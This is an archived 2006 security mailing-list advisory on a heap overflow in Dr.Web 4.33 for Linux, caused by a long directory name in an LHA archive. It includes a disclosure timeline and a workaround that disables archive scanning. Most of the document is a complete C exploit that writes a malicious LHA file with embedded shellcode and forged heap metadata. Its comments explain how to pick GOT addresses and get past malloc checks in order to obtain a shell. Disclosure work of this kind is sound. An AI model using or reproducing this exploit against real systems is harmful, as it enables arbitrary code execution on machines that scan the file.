

[UNIX] Dr.Web 4.33 Antivirus LHA Long Directory Name Heap Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-10/msg00016.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 4 Oct 2006 10:29:55 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Dr.Web 4.33 Antivirus LHA Long Directory Name Heap Overflow

SUMMARY

Dr.Web, a new generation of a virus scanner, searches and kills file and boot viruses, as well as combination viruses, which infect both files and boot sectors.

The SpIDer intercepts all attempts to access files and disk system areas and checks them for viruses "on-the-fly" first. Having detected a virus, SpIDer removes or locks it, granting access to the infected file only if it has been successfully cured.

A highlight of Dr.Web that differ it from other scanners is the heuristic analyzer along with the traditional mechanism for detecting viruses by signatures (a specific byte string in the virus code that definitely identifies the virus).

When building a special LHA archive with a long directory name in an extended directory header, a fixed size buffer on the heap is overflowed. When processing this malicious archive, it is then possible to make Dr.Web run arbitrary code by overwriting some internal malloc management informations.

DETAILS

Vulnerable Systems:

* Dr.Web (R) Scanner for Linux v4.33 (4.33.0.09211)

Solution:

The vendor did not provide any patch or workarounds for this security flaw. It is suggested to either change your antivirus software or to disable archive scanning until the vendor releases a patch.

Disabling archive scanning greatly reduces DrWeb's power to detect viruses. To disable it, you need to modify drweb.ini and change the "CheckArchives" line to:

```
CheckArchives = No
```

Disclosure Timeline:

2006-04-xx : Bug is discovered (I don't remember when exactly :-)
2006-08-11 : Proof of concept code is written.
2006-08-25 : Vendor is notified via security@xxxxxxxx and support@xxxxxxxx
2006-08-29 : Vendor says the bug was submitted to the developers for review.
2006-09-05 : Vendor is asked to provide an update on the bug.
2006-09-06 : Vendor says the request has been forwarded to the developers.
2006-09-11 : Vendor is asked, again, to provide an update on the bug.
2006-09-11 : Vendor replies with : "Sorry, no action yet."
2006-09-19 : Advisory is published.

Exploit:

```
/******
```

stetoscope.c:

Dr.Web 4.33 antivirus LHA directory name heap overflow for linux

- Howto:

Find a valid GOT entry to hijack with objdump -R /opt/drweb/drweb .
I guess that you can use the address of free(), but my exploit uses the address of realpath(). There was a NULL byte in the GOT entry of free() so I had to find something else ;-)

Calling the exploit will produce a file. Scan this file with a vulnerable version of drweb and you will, hopefully, get a shell :-)

Good luck!

- Exploit particularities:

- There is a NOP sled using \xeb\x0a . Increases exploit reliability
- 0xff and 0x00 are filtered characters
- Bypass some malloc security checks added in malloc.c:

Little security check which won't hurt performance: the allocator never wraps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder.

This thread helped me a lot :-):

<http://archives.neohapsis.com/archives/dailydave/2006-q1/thread.html#149>

- Shellcode took from Metasploit's shellcode generator.

- Coded by:

Jean-Sebastien Guay-Leroux
<http://www.guay-leroux.com>

*****/

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// Base structure of a LHA file
#define I_HEADER_SIZE 0
#define I_HEADER_CHECKSUM 1
#define I_METHOD 2
#define I_PACKED_SIZE 7
#define I_ORIGINAL_SIZE 11
#define I_LAST_MODIFIED_STAMP 15
#define I_ATTRIBUTE 19
#define I_HEADER_LEVEL 20
#define I_NAME_LENGTH 21
#define I_NAME 22
#define I_CRC 26
#define I_EXTEND_TYPE 28

// Extended structure of a LHA file
#define E_HEADER_SIZE 0
#define E_HEADER_TYPE 2
#define E_HEADER_NAME 3

#define DEBUG 0
```

```

unsigned char shellcode1[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
"\x11\x22\xdf\x83\xeb\xfc\xe2\xf4\x62\x1a\x7a\x46\x5a\x77\x4a\xf2"
"\x6b\x98\xc5\xb7\x27\x62\x4a\xdf\x60\x3e\x40\xb6\x66\x98\xc1\x8d"
"\xe0\x19\x22\xdf\x08\x3e\x40\xb6\x66\x3e\x51\xb7\x08\x46\x71\x56"
"\xe9\xdc\xa2\xdf";

```

```

FILE * open_file (char *filename) {

```

```

FILE *fp;

```

```

fp = fopen ( filename , "w" );

```

```

if (!fp) {
perror ("Cant open file");
exit (-1);
}

```

```

return fp;
}

```

```

void put_byte (char *ptr, unsigned char data) {
*ptr = data;
}

```

```

void put_word (char *ptr, unsigned short data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
}

```

```

void put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}

```

```

void usage (char *programe) {

```

```

printf ("\nTo use:\n");
printf ("%s <retloc> <retaddr> <file>\n\n", programe);
printf ("Example: %s 0x08080114 0x081C63F8 LHA_dir\n\n",
programe);

```

```

exit (-1);
}

```

```

int main (int argc, char *argv[]) {

```

```

FILE *fp;

```

[UNIX] Dr.Web 4.33 Antivirus LHA Long Directory Name Heap Overflow

```
char *hdr = (char *) malloc (4096), *ptr;
int header_size;
int written_bytes;
int total_size;
unsigned int retloc, retaddr;
char *filename = (char *) malloc (256);
int i;

if (!hdr) {
perror ("Error allocating memory");
exit (-1);
}

if ( argc != 4) {
usage ( argv[0] );
}

// parse arguments
sscanf (argv[1], "0x%x", &retloc);
sscanf (argv[2], "0x%x", &retaddr);
strncpy (filename, argv[3], 255);

memset (hdr, 0, 4096);

// base header
header_size = 29;
put_byte (hdr + I_HEADER_SIZE, header_size);
put_byte (hdr + I_HEADER_CHECKSUM, 83);
memcpy (hdr + I_METHOD, "-lh0-", 5); // No compression...
put_longword (hdr + I_PACKED_SIZE, 0x1234);
put_longword (hdr + I_ORIGINAL_SIZE, 0x1234);
put_longword (hdr + I_LAST_MODIFIED_STAMP, 0x1234);
put_byte (hdr + I_ATTRIBUTE, 0x20);
put_byte (hdr + I_HEADER_LEVEL, 0x01);
put_byte (hdr + I_NAME_LENGTH, 0x04);
put_longword (hdr + I_NAME, 0x90909090);
put_word (hdr + I_CRC, 0x6666);
put_byte (hdr + I_EXTEND_TYPE, 0x55); // Unix filesystem.

// extended header
put_word (hdr + header_size + E_HEADER_SIZE, 285);
put_byte (hdr + header_size + E_HEADER_TYPE, 0x2);

// Build our payload
memset (hdr + header_size + E_HEADER_NAME, 0x41, 266);
for (i = 0, ptr = hdr + header_size + E_HEADER_NAME; i < (240
- strlen (shellcode1) - 10);) {
ptr[i++] = 0xeb;
ptr[i++] = 0x0a;
}
for (; i < (240 - strlen (shellcode1));) {
```

[UNIX] Dr.Web 4.33 Antivirus LHA Long Directory Name Heap Overflow

```
ptr[i++]=0x90;
}
memcpy (hdr + header_size + E_HEADER_NAME + 240 - strlen
(shellcode1), shellcode1, strlen(shellcode1));

put_longword (hdr + header_size + E_HEADER_NAME + 266,
0x41414141);
put_longword (hdr + header_size + E_HEADER_NAME + 270,
0xB7E34CC2);
put_longword (hdr + header_size + E_HEADER_NAME + 274, retloc
- 0xc);
put_longword (hdr + header_size + E_HEADER_NAME + 278,
retaddr);

// Size of next extended header is 0
put_word (hdr + header_size + E_HEADER_NAME + 282, 0x0000);

total_size = (header_size + 284 + E_HEADER_NAME);

fp = open_file (filename);

if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 )
{
if (DEBUG) printf ("%d bytes written\n",
written_bytes);
} else {
perror ("Cant write to the file\n");
}

fclose (fp);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by
<<mailto:jean-sebastien@xxxxxxxxxxxxxxxx>> Jean-S bastien Guay-Leroux.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

[UNIX] Dr.Web 4.33 Antivirus LHA Long Directory Name Heap Overflow

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.